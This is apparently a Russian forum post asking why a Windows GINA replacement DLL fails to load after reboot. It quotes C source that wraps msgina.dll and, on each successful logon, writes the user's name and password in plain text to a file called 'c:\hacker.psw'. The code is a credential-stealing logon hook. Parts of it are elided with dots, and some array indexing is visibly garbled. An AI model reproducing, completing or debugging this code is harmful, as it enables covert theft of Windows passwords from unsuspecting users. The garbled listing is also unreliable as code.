#include <tchar.h>
#include <windows.h>
#include <winioctl.h>
#include <winwlx.h>
#include <lm.h>
#include <io.h>
#include <stdio.h>
#include <fcntl.h>
#include "xgina.h"
int glob_lock;
HINSTANCE hMSGinaDLL;
HINSTANCE hDllInstance;
PWLX_DISPATCH_VERSION_1_0 pWlxFuncs;
typedef BOOL ( WINAPI *WLXNEGOTIATE )( DWORD, DWORD* );
typedef BOOL ( WINAPI *WLXINITIALIZE )( LPWSTR, HANDLE, PVOID,PVOID, PVOID ) ;
typedef VOID ( WINAPI *WLXDISPLAYSASNOTICE )( PVOID );
typedef int ( WINAPI *WLXLOGGEDOUTSAS )( PVOID, DWORD, PLUID,
PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID* );
typedef BOOL ( WINAPI *WLXACTIVATEUSERSHELL ) ( PVOID, PWSTR,PWSTR, PVOID );
typedef int ( WINAPI *WLXLOGGEDONSAS )( PVOID, DWORD, PVOID );
typedef BOOL ( WINAPI *WLXISLOCKOK )(PVOID );
typedef VOID ( WINAPI *WLXDISPLAYLOCKEDNOTICE ) ( PVOID );
typedef int ( WINAPI *WLXWKSTALOCKEDSAS )( PVOID, DWORD );
typedef BOOL ( WINAPI *WLXISLOGOFFOK) ( PVOID );
typedef VOID ( WINAPI *WLXLOGOFF) ( PVOID );
typedef VOID ( WINAPI *WLXSHUTDOWN )( PVOID, DWORD );
WLXNEGOTIATE g_lpWlxNegotiate = NULL;
WLXINITIALIZE g_lpWlxInitialize = NULL;
WLXDISPLAYSASNOTICE g_lpWlxDisplaySASNotice = NULL;
.
.
.
WLXSHUTDOWN g_lpWlxShutdown = NULL;
BOOL InitMSGinaDll()
{
hMSGinaDLL = LoadLibrary("msgina.dll");
if (hMSGinaDLL == NULL)
{
return FALSE;
}
g_lpWlxNegotiate = ( WLXNEGOTIATE )GetProcAddress( hMSGinaDLL, "WlxNegotiate" );
.
.
.
g_lpWlxShutdown = ( WLXSHUTDOWN )GetProcAddress(hMSGinaDLL, "WlxShutdown" );
if (!g_lpWlxNegotiate)
{
return FALSE;
}
.
.
.
if (!g_lpWlxShutdown)
{
return FALSE;
}
return TRUE;
}
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID IpReserved)
{
switch( dwReason )
{
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls( hInstance );
hDllInstance = hInstance;
if (!InitMSGinaDll())
{
return FALSE;
}
break;
case DLL_PROCESS_DETACH:
FreeLibrary(hMSGinaDLL);
break;
default:
break;
}
return TRUE;
}
BOOL WINAPI WlxNegotiate (DWORD dwWinlogonVersion, PDWORD pdwDHVersion)
{ BOOL res = FALSE;
res = g_lpWlxNegotiate(dwWinlogonVersion, pdwDHVersion);
return res;
}
BOOL WINAPI WlxInitialize( LPWSTR IpWinsta, HANDLE hWlx, PVOID pvReserved, PVOID pWinlogonFunctions, PVOID* pWlxContext )
{
BOOL res = FALSE;
pWlxFuncs = (PWLX_DISPATCH_VERSION_1_0 )pWinlogonFunctions;
res = g_lpWlxInitialize(IpWinsta, hWlx, pvReserved, pWinlogonFunctions, pWlxContext);
return res;
}
VOID WINAPI WlxDisplaySASNotice(PVOID pContext)
{
g_lpWlxDisplaySASNotice(pContext);
}
int WINAPI WlxLoggedOutSAS(
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID* pProfile )
int res,i;
FILE *out;
UCHAR current_name [32] , current_pass [32] ;
UCHAR pro[2]={0x20,0};
UCHAR end[3]={0xD,0xA, 0};
res = g_lpWlxLoggedOutSAS (pWlxContext, dwSasType, pAuthenticationId,
pLogonSid, pdwOptions, phToken, pMprNotifyInfo,pProfile ) ;
if (res == WLX_SAS_ACTION_LOGON)
{
for (i=0; i<32; i++) current_name =0;
for (i=0;i<32;i++)
{
if (pMprNotifyInfo->pszUserName ==0) break;
else current_name =pMprNotifyInfo->pszUserName ;
}
for (i=0; i<32; i++) current_pass =0;
for (i=0;i<32;i++)
{
if (pMprNotifyInfo->pszPassword ==0) break;
else current_pass =pMprNotifyInfo->pszPassword ;
}
out=fopen ("c: \\hacker.psw", "r+b") ;
if (out!=NULL)
{
fseek ( out, 0,SEEK_END) ;
fwrite (current_name, sizeof (char) , strlen (current_name) , out) ;
fwrite (pro, sizeof (char) , 1, out) ;
fwrite (current_pass, sizeof (char) , strlen (current_pass) , out) ;
fwrite (end, sizeof (char) , 2, out) ;
fclose (out) ;
}
}
return res;
}
BOOL WINAPI WlxActivateUserShell ( PVOID pWlxContext, PWSTR pszDesktop,
PWSTR pszMprLogonScript, PVOID pEnvironment )
{
BOOL res = FALSE;
res = g_lpWlxActivateUserShell ( pWlxContext, pszDesktop,
pszMprLogonScript, pEnvironment ) ;
return ( res );
}
int WINAPI WlxLoggedOnSAS (PVOID pWlxContext,DWORD dwSasType,PVOID pReserved )
{
int res;
if (glob_lock==0)
res = g_lpWlxLoggedOnSAS (pWlxContext, dwSasType, pReserved);
if (res==WLX_SAS_ACTION_LOCK_WKSTA) glob_lock=1;
return res;
}
BOOL WINAPI WlxIsLockOk (PVOID pWlxContext)
{
BOOL res;
res = g_lpWlxIsLockOk (pWlxContext) ;
return res;
}
int WINAPI WlxWkstaLockedSAS( PVOID pWlxContext, DWORD dwSasType)
{
int res;
glob_lock=0;
res = g_lpWlxWkstaLockedSAS(pWlxContext, dwSasType);
return res;
}
BOOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )
{
BOOL res;
res = g_lpWlxIsLogoffOk(pWlxContext) ;
return res;
}
и т.д.
Проблема с заменой msgina
При перезагрузке сообщение о невозможности загрузки длл.Часть кода: